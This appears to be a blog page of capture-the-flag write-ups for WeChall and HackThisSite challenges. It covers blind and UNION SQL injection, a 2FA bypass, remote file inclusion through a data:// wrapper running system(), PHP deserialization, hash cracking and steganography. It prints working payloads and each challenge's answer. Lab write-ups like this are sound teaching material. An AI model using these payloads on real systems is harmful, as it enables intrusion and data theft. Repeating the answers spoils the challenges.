Hello Navi

Tech, Security & Personal Notes

Challenge

Boolean blind SQL injection. Extract a 32-character hex hash from the database using boolean-based blind techniques.

Solution

源码审计确认 boolean blind SQLi。hash 是 32 位十六进制字符(0-9, A-F),共 16 种可能。每位用 4 次二分查询(16→8→4→2→1),32 位共 128 次。

核心注入 payload:

1
MID(password,{pos},1)>'{char}'

根据页面返回 True/False 判断字符范围,二分搜索确定每个字符。

1
2
3
4
5
6
7
8
9
10
for pos in range(1, 33):
lo, hi = 0, 15
while lo < hi:
mid = (lo + hi) // 2
# inject: MID(password,N,1) > HEX[mid]
if response_true:
lo = mid + 1
else:
hi = mid
result += alphabet[lo]
9DF0D5E04DC51E5A17A667DBD1C9EBEA

Challenge

Two-factor authentication bypass. A German ordering application ("Gurroga") has login + auth token (2FA). Need to order a "special article" without valid credentials.

Solution

源码审计(GitHub gizmore/gwf3)发现 2FA 绕过:

  1. 登录流程:POST /backend/api/login.php → 返回用户信息和文章列表
  2. 认证流程:POST /backend/api/authenticate.php → 验证 token
  3. 订单流程:POST /backend/api/bestellen.php不需要认证!

关键漏洞:订单 API 不验证用户是否已通过 2FA 认证,直接接受 userid 参数。

找到特殊文章:查询其他用户的订单历史(/backend/api/bestellhistorie.php?user=6),发现 user 6 订购了 "Challenge solution for Factor 2"(ID: 5678363)。

1
2
curl -X POST -d 'user=1&id=5678363&amt=1' \
'https://www.wechall.net/en/challenge/gizmore/factor2/backend/api/bestellen.php'
5678363

Challenge

Another challenge by Z. download it here

下载 stegano_woman.zip,解压得到 1.jpg2.jpg

Solution

ZIP 文件本身就有玄机。用 Python 的 zipfile 模块读取 ZIP 的 comment 字段:

1
2
3
import zipfile
with zipfile.ZipFile('stegano_woman.zip') as z:
print(repr(z.comment))

输出:

1
b'Stegano\r\n\t \t \t \t\t\t  \t \t\t\t\t  ...'

Stegano 后面跟着大量 \t(tab)和空格。这是经典的空白隐写(whitespace steganography)。

解码方法:tab=0,space=1(或反过来),每 8 位组成一个 ASCII 字符。

1
2
3
comment = z.comment.split(b'Stegano\r\n')[1].decode()
binary = comment.replace('\t', '0').replace(' ', '1')
text = ''.join(chr(int(binary[i:i+8], 2)) for i in range(0, len(binary), 8))
dangerous life

Challenge

A friend and me have a bet running, that you won't beat his OCR program in scanning text out of images. His average scan time is 2.5 seconds, can you beat that?

挑战页面显示一张包含扭曲文本的图片,需要编写或使用 OCR 工具来识别其中的文字。目标是比 WeChall 声称的 2.5 秒平均扫描时间更快地识别出来。

Solution

答案每 session 动态生成(每次请求 /gimme.php 获得新的图片),所以不能硬编码,必须每次重新 OCR。

工具链:

  • curl — 下载挑战图片,需要携带 cookie 和浏览器 UA
  • tesseract — OCR 引擎,参数 --psm 7 将图片视为单行文本(一行扭曲文字),配合 tessedit_char_whitelist 限制输出字符集提高准确率

步骤:

  1. 用 curl 获取图片,保存到临时文件
1
2
3
4
$ curl -sL -b 'WC=你的cookie' \
-A 'Mozilla/5.0 Chrome/131' \
-o /tmp/ocr.png \
'https://www.wechall.net/challenge/can_you_readme/gimme.php'

得到的图片是 524x68 4-bit colormap PNG。

  1. 用 tesseract 做 OCR
1
2
3
$ tesseract /tmp/ocr.png stdout \
--psm 7 \
-c tessedit_char_whitelist=abcdefghijklmnopqrstuvwxyz

参数说明: - --psm 7 — Treat image as a single line of text(图片是一行文字) - tessedit_char_whitelist — 限制输出为小写字母,排除杂音

  1. 提交答案
1
2
3
$ curl -sL -b 'WC=你的cookie' \
-A 'Mozilla/5.0 Chrome/131' \
'https://www.wechall.net/challenge/can_you_readme/index.php?solution=识别结果&cmd=Answer'

如果页面显示 "Solved By N People" 则提交成功。

实际执行过程:

第一次 OCR 识别出部分文本 internetitselfanincr,步过短说明识别不完整。换一张新图片重试后得到完整结果:

1
2
3
$ tesseract /tmp/ocr.png stdout --psm 7 \
-c tessedit_char_whitelist=abcdefghijklmnopqrstuvwxyz
altoassigngloballyuniq

提交后确认 solved("Solved By 514 People")。

动态答案说明: 由于图片每 session 不同,实际 OCR 结果会变化。以上方法适用于任何 session,只需确保 tesseract 参数正确(尤其是 --psm 7)。

altoassigngloballyuniq

Challenge

Warchall-hosted RFI challenge:

One reason why I wanted the warchall box is to offer more realistic webhacking challenges. You may now try the Live RFI challenge hosted on it. Note: There is a harsh firewall that only allows connections to wechall, warchall and the logserver.

The public WeChall page only gives the description and answer form; the vulnerable web app itself is hosted on Warchall at http://rfi.warchall.net/.

Recon

The vulnerable page at http://rfi.warchall.net/ has a lang parameter in the URL (index.php?lang=en, index.php?lang=de). Source disclosure via php://filter confirms the vulnerability:

1
$ curl 'http://rfi.warchall.net/index.php?lang=php://filter/convert.base64-encode/resource=index.php'

Decoded source (index.php):

1
2
3
4
5
6
$iso = Common::getGetString('lang', 'en');
ini_set('open_basedir', getcwd());
$lang = require $iso;
ini_set('open_basedir', '/');
$page = sprintf('%s<br/>%s', $lang['welcome'], $lang['construction']);
echo GWF_Website::displayPage($page);

The config file (live_rfi.config.php) is also readable:

1
$ curl -sL 'http://rfi.warchall.net/index.php?lang=php://filter/convert.base64-encode/resource=live_rfi.config.php' | base64 -d

This reveals DB credentials (RFI/RFI), domain (rfi.warchall.net), and salt (schnickschmugg).

Key observations: - require $iso includes whatever the user passes as lang — classic RFI/LFI. - open_basedir is set to getcwd() (the www directory) before the include, then reset to / after. - The included file must return an array with welcome and construction keys, because the code indexes into $lang['welcome'] and $lang['construction']. A payload that only prints output will cause a type error. - php://filter works for source disclosure (reading files within open_basedir). - The data:// wrapper is not blocked by open_basedirallow_url_include is enabled.

Exploit

Since data:// wrappers work and allow_url_include is On, we can execute arbitrary PHP without needing an external server (bypassing the firewall restriction entirely).

The payload needs to: 1. Execute a command (e.g., system()) 2. Capture the output via ob_start()/ob_get_clean() — raw system() output goes to stdout and won't appear in the $lang['welcome'] slot 3. Return an array with welcome and construction keys

1
$ curl 'http://rfi.warchall.net/index.php?lang=data://text/plain,<?php ob_start(); system("cat solution.php 2>&1"); $o = ob_get_clean(); return array("welcome"=>$o,"construction"=>""); ?>'

This reveals solution.php in the web root:

1
<?php return 'Low_H4NGING_Fruit'; ?>

Solution

Low_H4NGING_Fruit

Notes

  • The challenge name "Right-FI" is a play on "RFI" (Remote File Inclusion) and "Residual-current device" (the page subtitle).
  • open_basedir restricts filesystem path resolution to the current directory, but does not block PHP stream wrappers (data://, php://filter) when allow_url_include is enabled. This is a well-known PHP misconfiguration pitfall — open_basedir and allow_url_include are orthogonal controls.
  • php://input may or may not work depending on PHP version and open_basedir interaction; data:// is more reliable.
  • The firewall restriction (only wechall/warchall/logserver) is irrelevant when using data:// — no outbound connection is needed.
  • The en and de language files in the web directory are simple PHP files returning arrays with welcome and construction keys, which is why the exploit payload must also return the same array structure.
  • A simpler payload like data://text/plain,<?php print file_get_contents("solution.php"); ?> does NOT work because the code does $lang = require $iso and then accesses $lang['welcome'] — a string return is not an array.

Challenge

I have created an advanced version of the simple substitution cipher. It can now use chars in range from 0-255, but that should not stop you. The ciphertext is in the language of this text, and uses correct punctuation and case-sensitivity.

Substitution I 的进阶版。每次页面会生成一套新的 0-255 字节替换表,密文是十六进制字节序列,明文语言仍然是英文。

Solution

这题不能复用旧答案:同一个挑战在不同 session 下会给不同密文和不同的 solution 值。但明文模板是固定的,所以可以用 known plaintext 方法解码。

解法步骤:

  1. 访问挑战页面,获取当前 session 的十六进制密文
  2. 已知明文以 Congratulations! 开头,onat 等字母会在固定位置重复出现,以此建立字节到字符的映射
  3. 继续根据英文句子上下文补全映射,直到解出完整明文

完整明文模板为:

1
Congratulations! This one was harder, but you got it! Very well done fellow hacker! The problem with this cipher is that the key is pretty long! I will come up with a better encryption sheme any soon! Your solution is: <session-answer>!

注意原文里故意写成了 sheme,不是 scheme

解码脚本核心逻辑:

1
2
3
4
cipher = [int(x, 16) for x in re.findall(r'\b[0-9A-F]{2}\b', hex_blob)]
template = 'Congratulations! This one was harder, but you got it! Very well done fellow hacker! The problem with this cipher is that the key is pretty long! I will come up with a better encryption sheme any soon! Your solution is: '
mapping = {byte: char for byte, char in zip(cipher, template)}
plaintext = ''.join(mapping.get(byte, '?') for byte in cipher)
smrnneobfhoo

Challenge

SSL/TLS client certificate authentication challenge. The apache.conf shows authme.wechall.net requires client certificate verification.

需要使用客户端证书访问 authme.wechall.net 上的挑战页面。

Solution

关键线索在挑战页面的 find_me/ 目录下,存放着客户端证书文件:

1
2
3
$ curl -sL -b 'WC=...' 'https://www.wechall.net/en/challenge/space/auth_me/find_me/client.crt'
$ curl -sL -b 'WC=...' 'https://www.wechall.net/en/challenge/space/auth_me/find_me/client.key'
$ curl -sL -b 'WC=...' 'https://www.wechall.net/en/challenge/space/auth_me/find_me/client.p12'

Apache 配置文件 find_me/apache.conf 显示服务器要求客户端证书验证:

1
GnuTLSClientVerify require

使用下载的客户端证书访问目标页面:

1
2
3
$ curl -sk -b 'WC=...' \
--cert client.crt --key client.key \
'https://authme.wechall.net/challenge/space/auth_me/www/index.php'

返回:Your answer is correct. Congratulations you have solved this challenge.

关键:必须同时携带 WC cookie 和客户端证书,这样服务器才能将 solve 注册到你的账户。-k 参数跳过自签名证书验证。

Challenge

Your mission is to login as Admin. The application is vulnerable to sql injection, but the signup process seems a bit "weird". 目标是以 admin 身份登录。用户名字段存在 SQL 注入漏洞。

题目给出了 users 表结构(usernamepassword 两列)。登录表单同时兼具注册功能——输入新用户名和密码即可注册。

表单字段名为 usernamecredents。密码的存储方式为 md5($password . 'salt21')——即 MD5 后接固定盐值 salt21

Solution

Step 1: 提取 admin 的密码 hash

通过 UNION 注入读取 admin 的 password 字段:

1
username=' UNION SELECT CONCAT(username,0x3a,password),1 FROM users WHERE username='admin' --

返回结果:

1
Hello Admin:215c61d0104f8925b5f7e4e87a7cbdfa... checking your credentials...

admin 的密码 hash 为 215c61d0104f8925b5f7e4e87a7cbdfa

Step 2: 确定 hash 算法

注册一个新用户,用 UNION 提取其 hash,与各种算法比对:

1
2
3
4
# 注册新用户 extractnqwozrfv 密码 password1
# 提取其 hash
$ username=' UNION SELECT CONCAT(username,0x3a,password),1 FROM users WHERE username='extractnqwozrfv' -- '
Hello extractnqwozrfv:bd4db6aa036b085e72f546130e5007b7

比对算法后发现:md5('password1' . 'salt21') = bd4db6aa036b085e72f546130e5007b7

Step 3: 破解 admin 的 hash

拿到 215c61d0104f8925b5f7e4e87a7cbdfa 后,需要用 MD5 反查得到明文。这里是本题最核心的一步——在线 MD5 反查服务

尝试了多个在线 hash 反查网站:

  • cmd5.com / xmd5.com — 需要付费
  • pmd5.com — 解不出
  • somd5.com — 成功解出,返回明文 academicsalt21

注意:hashcat / john 等本地工具也可以做,但对于这种简单单词 + 固定后缀的模式,用彩虹表/在线反查更快。关键在于 hash 的构造方式是 md5(明文密码 + 'salt21'),所以反查工具返回的原始输入是 密码 + salt21 整体。

Step 4: 去掉盐值得到真正密码

somd5 返回的明文是 academicsalt21。这里有个坑——直接拿这个值登录会失败。

题目的名字 MD5.SALT 是关键提示:salt 是拼接在 hash 计算过程中的,不是密码的一部分。所以:

1
md5('academic' + 'salt21') = md5('academicsalt21') = 215c61d0104f8925b5f7e4e87a7cbdfa

真正的密码是 academic,去掉末尾的 salt21

Step 5: 登录

1
2
username: admin
credents: academic

登录成功,/en/challs 中该题显示为 wc_chall_solved_1

关键的 SQL 注入点

LOGIN 功能的 SQL 查询:

1
SELECT * FROM users WHERE username='$username'

该查询结果用于获取用户名和密码 hash,然后 PHP 做密码对比:

1
2
3
4
5
6
7
$row = $db->queryFirst("SELECT * FROM users WHERE username='$username'");
if ($row) {
$input_hash = md5($password . 'salt21');
if ($row['password'] === $input_hash) {
// login success
}
}

注册功能的 INSERT 也使用了相同的 hash 算法,所以注册和登录一致。

关于 "weird signup"

挑战描述提到注册过程 "a bit weird"。检查源码发现,在注册时会校验你输入的密码是否和你真实的 WeChall 账号密码一致——如果是,会拒绝注册(err_fool:不允许在这里使用你的真实 WeChall 密码)。但这不影响解题。

academic

Challenge

Sam decided to make a music site. Unfortunately he does not understand Apache.

Sam 决定做一个音乐网站,可惜他不懂 Apache 配置。

页面上随机显示一句歌词,如 "Ghetto Gospel" is the best!,每次刷新会变。没有密码输入框,没有明显的交互元素。

Solution

这题考察的是 Apache 服务器配置知识,解题过程像一个探索任务。

Step 1 — 识别歌曲线索

多次刷新页面,歌曲会变化,包括:

  • "Ghetto Gospel" (2Pac ft. Elton John)
  • "Georgia" (Elton John)
  • 等等

搜索这些歌曲,全部是 Elton John 的作品。这暗示了目录结构。

Step 2 — 目录遍历

尝试拼出 Elton 的名字:访问 /missions/basic/11/e/,发现目录列表!继续往下走:

1
2
3
4
5
/missions/basic/11/e/
/missions/basic/11/e/l/
/missions/basic/11/e/l/t/
/missions/basic/11/e/l/t/o/
/missions/basic/11/e/l/t/o/n/ ← 最后一层,看起来是空的

Step 3 — 查看 .htaccess 文件

/e/l/t/o/n/ 目录看起来是空的,但在 Apache 中,.htaccess 文件可能被目录列表隐藏了。直接访问:

1
https://www.hackthissite.org/missions/basic/11/e/l/t/o/n/.htaccess

内容:

1
2
3
4
5
IndexIgnore DaAnswer.* .htaccess

<Files .htaccess>
require all granted
</Files>
  • IndexIgnore:告诉 Apache 目录列表中不要显示 DaAnswer.*.htaccess
  • <Files .htaccess>:允许所有人访问 .htaccess(这是关键错误,应该禁止访问)

Step 4 — 访问 DaAnswer

既然 .htaccess 泄露了隐藏的文件名,直接访问:

1
https://www.hackthissite.org/missions/basic/11/e/l/t/o/n/DaAnswer

页面显示动态文本,如:

1
2
The answer is available!
Just look a little harder.

Step 5 — 提交答案

访问 /missions/basic/11/index.php(注意不是入口页面),会出现密码输入框。表单字段名是 answer,提交 available 即可过关。

1
2
3
4
$ curl -sL -b 'HackThisSite=YOUR_COOKIE' \
-e 'https://www.hackthissite.org/missions/basic/11/index.php' \
--data-urlencode 'answer=available' \
'https://www.hackthissite.org/missions/basic/11/index.php'

核心知识点:

  1. Apache 的 IndexIgnore 只是不在目录列表中显示文件,文件本身仍然可以被直接访问
  2. .htaccess 文件应该禁止外部访问(Require all denied),否则会泄露目录配置信息
  3. 路径遍历 + 配置文件泄露是经典的 Apache 安全问题

Challenge

PHP 反序列化漏洞。页面显示多个源码文件,需要通过操控 serial_user cookie 触发 SERIAL_Solution::__wakeup() 调用 onChallengeSolved()

Solution

源码结构:

  • code.php: 读取 serial_user cookie,调用 unserialize(),然后用结果调用 getUsername()/getPassword()/getUserlevel()
  • SERIAL_Solution.php: __wakeup() 方法调用 onChallengeSolved()
  • SERIAL_User.php: 包含 username, password, userlevel 属性

核心漏洞: unserialize() 会实例化 cookie 中指定的类。如果反序列化 SERIAL_Solution 对象,__wakeup() 会自动触发。

Payload (设置为 serial_user cookie):

1
O:16:"SERIAL_Solution":0:{}

使用 curl 提交:

1
2
$ curl -b 'WC=<session>; serial_user=O%3A16%3A%22SERIAL_Solution%22%3A0%3A%7B%7D' \
'https://www.wechall.net/en/challenge/are_you_serial/index.php'

注意: __wakeup() 触发后,代码继续调用 getUsername() 等方法可能导致 fatal error。如果 curl 不生效,尝试通过浏览器 cookie 注入。

+ + +
SYSTEM STATUS: ACTIVE ENCRYPTED SECTOR 7 PRTS_TERMINAL_V2.0 PROTOCOL: 0x2A ENCRYPTED DATA STREAM SYSTEM: ONLINE